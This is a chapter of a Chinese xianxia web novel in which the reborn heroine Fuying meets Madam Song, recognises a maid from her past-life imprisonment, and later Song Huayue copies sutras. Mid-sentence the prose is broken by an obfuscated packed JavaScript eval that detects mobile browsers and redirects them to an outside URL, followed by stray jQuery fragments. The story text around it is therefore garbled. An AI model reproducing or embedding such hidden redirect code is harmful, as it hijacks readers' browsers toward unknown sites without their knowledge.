卫霄所驾紫云想来是他的本命法器,随他心念而动,速度极快,不过片刻,初来那日见过的幽长山道便已在脚下。
他带着二人落下云,眼前是阶梯尽头的一处院落,朱墙碧瓦,琼花玉树,院门口站着两列银甲侍卫,皆神情肃穆,眼带杀机。
卫霄平平走上前去,不见他出示任何腰牌或者凭据,但侍卫们目光在青年面上一过,便侧身容三人走入院中,途中所遇护卫队也皆是行礼后让路,让他们畅通无阻到了主阁前。
扶萤再一次确认了此人身份贵重,更添戒备。
此时三人已到主阁正门边,抬眼一看,面前是一间三层高的朱红木阁,楼前一弯曲水内荷花盛放,锦鲤悠游。一层沿水的外廊上设了椅靠,铺着锦垫,廊顶正有大片凌霄垂下,风吹过,不时有落花落在椅垫上。
而再仰头看去,大门上还悬了一方黑漆匾额,上书“德懿流芳”四个大字,字体古朴端正,以金粉描就,华光闪闪。
八宝雕花的木门前,正有一梳着双螺髻的丫头坐在小凳上,瞧着不过豆蔻之年,蜷缩成小小一团靠着墙面,似乎还在打盹,头一点一点好似鸡啄米。
卫霄走到她身前,停了片刻,见其仍旧昏昏欲睡,全然不知有人到来,伸手在她面前打了个响指:“卫霄在此,求见夫人。”
侍女这才骤然惊醒,起身揉揉眼,见了卫霄凑在身前的俊容,面上一红,忙进门通报。
片刻后,内里传来一道年长些的女人声音,轻飘飘带着笑意:“进来罢,卫管事。”
扶萤闻得这声温和又不失端肃的女声,忽地身形一顿。
“你出身低贱,能到如今地步,实属不易。”
……
前世她被诬残害同门,盗取宗门至宝,被关押在水牢中等候行刑时,有一人曾在行刑前日寅夜到访。
那时她早已被拷打过多轮,满身几可见骨的伤口,又被铁链穿过周身经脉要穴,自胸口往下浸在山顶冰雪化就的水池中,疼痛和寒冷令她几乎神魂出窍。
那道影子便是此时来的,她隐在牢门外的黑暗中,许是因为光线微弱,也许是因为扶萤眼前模糊一片,实在看不真切来人容貌。
可那声音,她却是再轮回一世也忘不了的。
门开了,卫霄当先迈进去,一阵沁人心脾的凉气顿时扑面而来,与外面的酷暑截然不同。
扶萤从他身边看去,只见屋子正中摆着冰鉴,其内浸泡了各色瓜果鲜花,冰融化后的水面上以盘子装着精致糕点,随水飘荡着,又被一双涂着丹蔻的素手拿了起来。
扶萤顺着那手继续往上看。
紫玉镯,金臂钏,都是华贵饰品。女人穿着也是十足讲究,上着绛紫色大袖襦,下系鹅黄丝绸长裙,肩头所搭着的碧绿披帛上刺绣着衔柳比翼鸟,比翼鸟的眼睛处缝着小指大的东珠,尾羽更是以金银二色丝线交错织成,周身上下,无不富贵非常。
女人身姿挺拔,比寻常女子高出不少,束着飞仙髻,细眉细眼,给人干练精明之感。
只需一眼,扶萤便确认了其身份。即便那时她只看得一个阴影中的朦胧身形,但这种气质,身高,以及即便微笑却仍隐隐透出周身的冷硬煞气,却是难叫人错认的。
女人拿了一碟点心,恭恭敬敬奉给了座中美妇,又安静退入其身后珠帘内,像是个不起眼的影子。
扶萤也便不动声色移开目光,好像她只是好奇心起多看了几眼,又打量起高座上的人。
端坐的妇人就比紫衣侍女要素净许多了,只披着最简单不过的素白夹层纱衣,若不是她们一站一坐,指不定要叫初见她们的人疑心谁才是主人,谁才是侍婢。
她容貌不过三十上下,面若满月,柳眉凤眼。眉心有一粒极为细小的红痣,长睫低垂,低眉看人的时候,好似座上观音,宝相庄严,慈悲悯人。
而在她身旁的桌上摆了一靛青瓷瓶,里面竟然插着一枝白梅,应当是被术法定格在了盛放得最好的时候,她先前便是在侍弄这白梅花,谨慎认真。
“夫人。”卫霄先笑嘻嘻地向宋氏行过礼,又转向帘后的紫衣女人,“容霞姐姐。”礼数周全地问候过二人,才道出来意,“我今日得闲,本想来向夫人请安,驾云路过碧霄峰时,正好瞧见一出热闹。这不,想着夫人卧病在床半月,应当是无聊得紧,便来为你解解闷。”
“哦?”宋夫人神色不动,“什么热闹?”
她从三人进门时就仅低眸看卫霄与岑纤,半分目光也未分到扶萤身上。
卫霄便将身后的扶萤与岑纤揪出来往前一推:“我在云端见有人打斗,定睛一看,认出是表小姐和一个陌生少女。听雪荇说此人是半月前入选到本家来的旁支,竟然能与修炼多年的表小姐斗成平手……”
他拖长了声音:“夫人说,这是不是十分古怪呢?”
他话里话外是对扶萤有所疑虑,带着些许邀功的意味,语毕,桃花眼微微弯起,灼灼笑看着宋夫人。
宋夫人先看了岑纤一眼,朝少女伸出手去,道:“纤纤,你且过来。”
岑纤口唤:“姑母。”带着几分委屈上前,竟是直直在她面前跪坐下,将脸埋到妇人大腿上磨蹭,眷恋极深。
宋夫人也伸手抚摸少女鬓发,将她先前打斗中散落出来的发丝理整齐了,又取出贴身锦帕,为她将隐忍多时的泪水擦拭干净。
扶萤看着二人动作,若非早知她们关系,她怕是要以为眼前乃是一对亲母女了。
面前人忙着上演姑侄情深,她自然被晾在一旁无人搭理。倒是卫霄的笑意渐渐收起,看看宋夫人,又看看扶萤,目中有些深思。
直到岑纤好容易止住了哭泣,宋夫人才终于抬眸,在扶萤身上投下了进门以来的第一道目光。
她开口,话却是对卫霄说的:“这孩子并非私自修炼的恶人,而是……是什么来着?”她像是忘记了扶萤身上修为来历,转而对她道,“孩子,你自己来说罢。”
扶萤注视着她的眼睛,将自己对青阳子所道的话一字未动地复述了一遍,一面说,一面一瞬不瞬观察着宋夫人神情。
……
“是了。青阳子曾向我特意提起过你。”宋夫人认真听完她的话后微微点头,“他说是别庄里出了个极为罕见的‘天命之人’,一定要让我亲自过目,可惜我先前身体不适,一直没能见你。”
她又笑笑:“‘受天命’这一点,倒是和华月十分的像。”
扶萤注意到,听宋夫人提起宋华月,岑纤十分明显地皱了下眉,又很快恢复如常。
宋夫人已经朝她伸手,细瘦腕间露出一个碧玉镯子。她道:“让我看看你。”
扶萤垂眼走上前,任由女人将她的手攥住,放在自己交叠的掌心间。
一股轻柔的灵力顺着二人接触的掌心探入扶萤经脉内,是宋夫人在探察她的修行状况。扶萤低着头,忍不住牵了下唇角。
良久良久,宋夫人松开手,又令她抬头,将她眉眼一寸寸看过去,一面不住点头。
侍立在后的容霞插话:“真是个美人胚子呢。”
宋夫人终于看完了扶萤,唤她道:“好孩子。”说着将腕上手镯褪下来,往扶萤手上套,又道,“初次见面,没为你准备什么礼物,这是我贴身佩戴多年的手镯,便当作见面礼了。”
扶萤微微一愣,岑纤已经尖叫起来:“姑母!你怎么还送她东西!”
宋夫人不言,将玉镯套上扶萤手腕后,只是十分欣慰地瞧她:“既然同是宋氏女,经历又与华月如此相像,说明我们有缘。”
“若之后你们能一同入山修行,也记得要互相扶持。”她叹息,“华月性格孤冷,少有朋友作伴,你……你若能多陪她说说话,我便感激不尽。”
她屡次说起宋华月,岑纤忍了又忍,终于忍不住抱怨:“那丫头成日里惹姑母生气,分明就是只养不熟的白眼狼!姑母这次抱恙,想必又是她和你争吵了罢!”
宋夫人宠溺一点她额头:“就你聪明。”却对与宋华月争吵一事未加否认,反而又长叹一口气。
扶萤这时也想起,初到此地那日,宋华月正是从主阁回来的。
什么事会让母女二人争吵到宋夫人卧病在床?她一介修士,又为何如此羸弱,是真的还是假装?
最重要的是,为何自己都当面挑衅到这等地步,宋氏不但不变色,还一副为她开心的模样?
实在是……和她了解的世家之人半点不像了。
扶萤心中一团乱麻,面上丝毫不显,依旧装她的乖巧少女,听宋氏与岑纤闲话家常。
这一听她就发现,岑纤这孩子对宋氏的确感情颇深,一改在她面前那娇蛮模样,絮絮叨叨,像个老妈子。
等到二人终于叙完话,已经是落日西沉时分。岑纤起身告退,走前不忘给外面的丫鬟上眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883599|176411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
药:“姑母,你门外的小丫头方才还打瞌睡呢!你也该好好整饬一番下人,懒散得不成样子。”
“如此热的天,她一人守在外面也是无聊,犯困乃是常情。”宋夫人温声道。
“你就是太心软了……”岑纤嘟囔着,却到底没有再多言,又叮嘱了她注意身体,这才终于要走。
卫霄继续留在屋中,似与宋夫人有事商谈,容霞送二人出了阁楼,又一直伴她们走到院门处,方才停住脚步。
“表小姐,宋楹姑娘,你们这便各自回住处罢。”她说着,在岑纤眉心嗔怪地轻点了一下,“可不要再打闹了,若否,夫人也会很困扰的。”
岑纤自是乖巧应下,待容霞转身入院后,才又瞪了扶萤一眼。
“此番算你走运!若非姑母看重你,我可不会善罢甘休的!”她经过宋夫人安抚,神情已经平静不少,但面颊仍带着薄怒的微红,“不过我仍是要提醒你一句,离沈公子远一些!”
她说完,冷哼一声,率先转身走了。
扶萤倒是在院门边又立了片刻,直到侍卫们频频看她,才慢吞吞朝碧霄峰走回去。
她无心辩解自己对那所谓的沈公子绝无半分情意,她全副心神被方才之事占据,只觉这青天白日下的主阁谜团重重,即便已经再来一世,依旧令她瞧不清,摸不透。
下一步棋该往何处走,她也有些举棋不定了。
**
静室内檀香袅袅。
有一黑衣少女伏案抄写,身边绯衣女子静侍,一面为她研墨,一面说着白日里碧霄峰上发生的趣事。
“……心中有剑,万物皆可为剑。”宋华月正抄着佛经,闻言笔锋微顿,一团墨渍瞬间在纸上晕染开来,她却毫不在意,“她真是如此说的?”
怜芍笑了笑,也觉得此言甚妙:“正是呢。没想到这批次的新人里还有这等有意思的人……”她说到此处,见宋华月面无表情,又忽地话锋一转,“只是这话从剑道宗师口中说来还好,她从未随正经的老师学武,这话便难免有照本宣科之嫌,也不知她是从何处看到的呢。”
“况且。”她补充道,“不过一根竹竿子,稍微用力折一下就断了,也是那岑纤学艺不精,拿着‘翻云蛟’却发挥不出其半分威力,否则,又能有宋楹什么事呢?”她说完,又觑宋华月面色。
只见黑衣少女默了片刻,忽地平平一伸手。
室内室外忽地起了一阵风。不知从何处飘来梅瓣,纷落如雪,从窗外飘到屋中,在她掌心汇成一柄雪白长剑。
长剑长三尺半,其上缠着一道道白色丝绦,像是女子袖间所挽披帛,又似久经沙场的战士身上缠伤的纱带。
少女抬手在剑上轻抚而过,眼神柔和,缓缓开口:“我这‘千丛雪’,也是我六岁初学剑那日从梅林中折花枝化来。母亲曾说,‘不过一根树枝,即便再怎样雕琢冶炼,又能有多大用处?’”
她声音顿了顿:“……可它伴我至今,已有十年。”
怜芍便笑道:“小姐神女临世,天纵之才,那等小家里出生的破落户,如何能与你比呢?”意思是即便同样以树枝作剑,扶萤也是定然比不过她去的。
宋华月也笑,却未说话。
她又细细看了长剑片刻,没收起来,而是放在了桌案边,自己继续埋头抄经了。
法剑在侧,其上森冷杀意似乎能透过衣衫切人体肤,而黑衣少女眉眼间又带着慈悲,手抄佛经,虔诚无比。
怜芍看看剑,又看看自家小姐,几次动了动嘴唇似乎想说什么,最终压下不表。
直到两个时辰后,宋华月方再次直起身,将先前所写纸笺归拢到一处,又摊开来。
一张张上好的纸笺在跃动烛火下呈现澄黄色,娟秀小楷密密麻麻排列整齐,是一整卷的《地藏经》。
“好了。你且将之收起来,待覆羽山开后,再去山中烧了。”她检查无误后,将纸张重新整理好递给侍女。
“不过是一个不相干的弟子,小姐何必如此劳心伤神,仔细又心痛了。”话虽如此说,怜芍还是接过那一沓手抄佛经,整理好装进一木匣子内,抱着退下。
宋华月静静凝视着案上香炉,淡紫色的烟气在她面前腾起,将那张秀美面容染得模糊不清。
“不相干……吗?”
许久后,她才像是自问一般道出这话。只是此时怜芍早已离去,空旷室内,无人回应。